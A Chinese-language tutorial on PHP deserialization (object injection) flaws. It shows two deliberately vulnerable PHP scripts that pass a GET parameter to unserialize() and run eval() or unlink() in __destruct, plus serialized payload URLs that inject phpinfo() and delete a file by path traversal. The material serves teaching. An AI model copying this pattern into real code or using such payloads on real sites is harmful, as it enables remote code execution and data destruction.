漏洞原理
PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。
漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通
漏洞形成
将用于反序列化的字符串参数进行修改,达到控制var属性以注入恶意代码,再利用魔术函数进行执行
例:
代码:
<?php
class person{
var $name;var $age;var $sex;
function __construct($name,$age,$sex){
$this->name=$name;
$this->age=$age;
$this->sex=$sex;}
function __destruct()
{
eval($this->sex);
}
}
$ldstr=$_GET['object'];
$fxlld=unserialize("$ldstr");
print_r($fxlld);
Url:
http://localhost/fxlh/3.php?object=O:6:“person”:3:{s:4:“name”;s:2:“lp”;s:3:“age”;s:2:“23”;s:3:“sex”;s:10:“phpinfo();”;}
执行效果
漏洞利用
1.有时在对象销毁时,程序会设定好删除一些缓存文件,比如1.tmp,由于反序列化漏洞存在,用户可控制删除文件的路径这一属性,就会造成任意文件删除
代码:
<?php
class person{
var $name;var $age;var $sex;var $tmp="1.tmp";
function __construct($name,$age,$sex){
$this->name=$name;
$this->age=$age;
$this->sex=$sex;}
function __destruct()
{
unlink(dirname(__FILE__)."/".$this->tmp);
}
}
$ldstr=$_GET['object'];
$fxlld=unserialize("$ldstr");
print_r($fxlld);
Url:
http://localhost/fxlh/1.php?object=O:6:“person”:4:{s:4:“name”;s:2:“lp”;s:3:“age”;s:2:“23”;s:3:“sex”;s:3:“man”;s:3:“tmp”;s:8:"…/2.txt";}
执行效果
1.tmp上一级目录下的2.txt被删除